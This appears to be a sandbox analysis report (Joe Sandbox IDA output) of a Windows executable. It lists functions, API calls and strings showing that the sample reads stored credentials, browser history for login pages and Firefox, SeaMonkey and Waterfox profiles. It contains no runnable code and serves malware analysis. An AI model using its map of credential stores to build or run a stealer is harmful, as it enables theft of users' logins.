                                                                                            • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                            • Opcode Fuzzy Hash: b9220c8ee9235e77546fc7e578fe859ac5c7910c95b4d012992e052ab282d142
                                                                                            • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                            Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0041249C
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00002A88), ref: 004124D2
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000350), ref: 00412510
                                                                                            • GetModuleHandleW.KERNEL32(00000000,0000000E), ref: 00412582
                                                                                            • LoadIconW.USER32(00000000,00000065), ref: 0041258B
                                                                                            • wcscpy.MSVCRT ref: 004125A0
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                            • String ID: r!A
                                                                                            • API String ID: 2791114272-628097481
                                                                                            • Opcode ID: c924fcd7ecfcbdf661535418ab9e4f477d4ea067639620652b406838daccced0
                                                                                            • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                            • Opcode Fuzzy Hash: c924fcd7ecfcbdf661535418ab9e4f477d4ea067639620652b406838daccced0
                                                                                            • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                            Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                              • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                              • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                              • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                              • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                              • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                              • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                              • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                              • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                              • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                              • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                              • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                              • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                              • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                            • _wcslwr.MSVCRT ref: 0040C817
                                                                                              • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                              • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                            • wcslen.MSVCRT ref: 0040C82C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$free$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                            • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                            • API String ID: 2936932814-4196376884
                                                                                            • Opcode ID: b881829d82f0d8b9654aa99a04529af2f3c2152f6b010e5444e3d03ead400705
                                                                                            • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                            • Opcode Fuzzy Hash: b881829d82f0d8b9654aa99a04529af2f3c2152f6b010e5444e3d03ead400705
                                                                                            • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                            Function 0040A804 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 40libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040A824
                                                                                            • GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                            • wcscpy.MSVCRT ref: 0040A854
                                                                                            • wcscat.MSVCRT ref: 0040A86A
                                                                                            • LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                            • LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                            • String ID: C:\Windows\system32
                                                                                            • API String ID: 669240632-2896066436
                                                                                            • Opcode ID: 808217d469f29374b6c53add07773bde8ba425e7a3f83fd710eb9a2b8acfca27
                                                                                            • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                            • Opcode Fuzzy Hash: 808217d469f29374b6c53add07773bde8ba425e7a3f83fd710eb9a2b8acfca27
                                                                                            • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                            Function 0040BDB0 Relevance: 12.2, APIs: 8, Instructions: 151COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                            • CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                            • wcslen.MSVCRT ref: 0040BE06
                                                                                            • wcsncmp.MSVCRT ref: 0040BE38
                                                                                            • memset.MSVCRT ref: 0040BE91
                                                                                            • memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                            • _wcsnicmp.MSVCRT ref: 0040BEFC
                                                                                            • wcschr.MSVCRT ref: 0040BF24
                                                                                            • LocalFree.KERNEL32(?,?,?,?,00000001,?,?,?,00000000,?), ref: 0040BF48
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$CredEnumerateFreeLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
                                                                                            • String ID:
                                                                                            • API String ID: 697348961-0
                                                                                            • Opcode ID: 33cbc3fbfef4114ffc04ab79ab4e472c1ca1484598d0cfc67a802b423a316e07
                                                                                            • Instruction ID: 79a9ca8399314c5bcb3e205da5602351372edcdcc58f79068602210d8f55f42f
                                                                                            • Opcode Fuzzy Hash: 33cbc3fbfef4114ffc04ab79ab4e472c1ca1484598d0cfc67a802b423a316e07
                                                                                            • Instruction Fuzzy Hash: 1851E9B5D002099FCF20DFA5C8859AEBBF9FF48304F10452AE919F7251E734A9458F69
                                                                                            Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00403CBF
                                                                                            • memset.MSVCRT ref: 00403CD4
                                                                                            • memset.MSVCRT ref: 00403CE9
                                                                                            • memset.MSVCRT ref: 00403CFE
                                                                                            • memset.MSVCRT ref: 00403D13
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                            • memset.MSVCRT ref: 00403DDA
                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,000000FF,?,004447C5,00000000,?,?,?,00000000,?), ref: 004099E3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                            • String ID: Waterfox$Waterfox\Profiles
                                                                                            • API String ID: 4039892925-11920434
                                                                                            • Opcode ID: 74213e66932f07ea3ad059af1798c87c438cc92db4e0e7cdb609a7dadd567ada
                                                                                            • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                            • Opcode Fuzzy Hash: 74213e66932f07ea3ad059af1798c87c438cc92db4e0e7cdb609a7dadd567ada
                                                                                            • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                            Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00403E50
                                                                                            • memset.MSVCRT ref: 00403E65
                                                                                            • memset.MSVCRT ref: 00403E7A
                                                                                            • memset.MSVCRT ref: 00403E8F
                                                                                            • memset.MSVCRT ref: 00403EA4
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                            • memset.MSVCRT ref: 00403F6B
                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,000000FF,?,004447C5,00000000,?,?,?,00000000,?), ref: 004099E3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                            • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                            • API String ID: 4039892925-2068335096
                                                                                            • Opcode ID: fb8d06a7ed3fa35f71d99b938417e45633d605fe1ac21657eef3450a4ac41d2d
                                                                                            • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                            • Opcode Fuzzy Hash: fb8d06a7ed3fa35f71d99b938417e45633d605fe1ac21657eef3450a4ac41d2d
                                                                                            • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                            Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00403FE1
                                                                                            • memset.MSVCRT ref: 00403FF6
                                                                                            • memset.MSVCRT ref: 0040400B
                                                                                            • memset.MSVCRT ref: 00404020
                                                                                            • memset.MSVCRT ref: 00404035
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                              • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                              • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                              • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                            • memset.MSVCRT ref: 004040FC
                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,000000FF,?,004447C5,00000000,?,?,?,00000000,?), ref: 004099E3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                            • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                            • API String ID: 4039892925-3369679110
                                                                                            • Opcode ID: a800c2c864e82bb525ebc7d4b700ce70e1897f56eef446e490fc18a40a012dd3
                                                                                            • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                            • Opcode Fuzzy Hash: a800c2c864e82bb525ebc7d4b700ce70e1897f56eef446e490fc18a40a012dd3
                                                                                            • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                            Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memcpy.MSVCRT(00000048,00451D40,0000002C,000003FF,00445FAE,?,00000000,?,0040B879), ref: 004444E3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy
                                                                                            • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                            • API String ID: 3510742995-2641926074
                                                                                            • Opcode ID: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                            • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                            • Opcode Fuzzy Hash: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                            • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                            Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                              • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                              • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                            • memset.MSVCRT ref: 004033B7
                                                                                            • memcpy.MSVCRT(?,00000000,0000121C), ref: 004033D0
                                                                                            • wcscmp.MSVCRT ref: 004033FC
                                                                                            • _wcsicmp.MSVCRT ref: 00403439
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$_wcsicmpfreememcpywcscmpwcsrchr
                                                                                            • String ID: $0.@
                                                                                            • API String ID: 2758756878-1896041820
                                                                                            • Opcode ID: 90c1bd1f00aab923b8f25d437f952d518439630af4329cefc1ee53129d619d56
                                                                                            • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                            • Opcode Fuzzy Hash: 90c1bd1f00aab923b8f25d437f952d518439630af4329cefc1ee53129d619d56
                                                                                            • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                            Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 2941347001-0
                                                                                            • Opcode ID: 80e482451f5ca37e8404f50e4d067f365766b265f7642500ec0655012d68ebd6
                                                                                            • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                            • Opcode Fuzzy Hash: 80e482451f5ca37e8404f50e4d067f365766b265f7642500ec0655012d68ebd6
                                                                                            • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                            Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00403C09
                                                                                            • memset.MSVCRT ref: 00403C1E
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                              • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                            • wcscat.MSVCRT ref: 00403C47
                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                            • wcscat.MSVCRT ref: 00403C70
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                                                                                            • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                            • API String ID: 1534475566-1174173950
                                                                                            • Opcode ID: 8452d1ff202b3ecdc32f03c4689b339ff6508c8f38893fabe83067ed25a4ac21
                                                                                            • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                            • Opcode Fuzzy Hash: 8452d1ff202b3ecdc32f03c4689b339ff6508c8f38893fabe83067ed25a4ac21
                                                                                            • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                            Function 00414C2E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00414BA4
                                                                                            • SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                            • memset.MSVCRT ref: 00414C87
                                                                                            • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                            • wcscpy.MSVCRT ref: 00414CFC
